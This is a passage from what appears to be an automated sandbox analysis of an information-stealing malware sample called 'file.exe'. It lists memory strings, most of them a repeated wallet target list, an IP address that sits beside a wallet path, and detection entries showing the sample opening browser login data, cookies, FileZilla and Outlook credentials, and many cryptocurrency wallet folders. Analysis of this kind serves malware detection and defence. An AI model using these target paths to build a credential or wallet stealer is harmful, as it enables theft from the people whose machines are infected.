Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2729651276.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.d
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t\\seed.seco
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
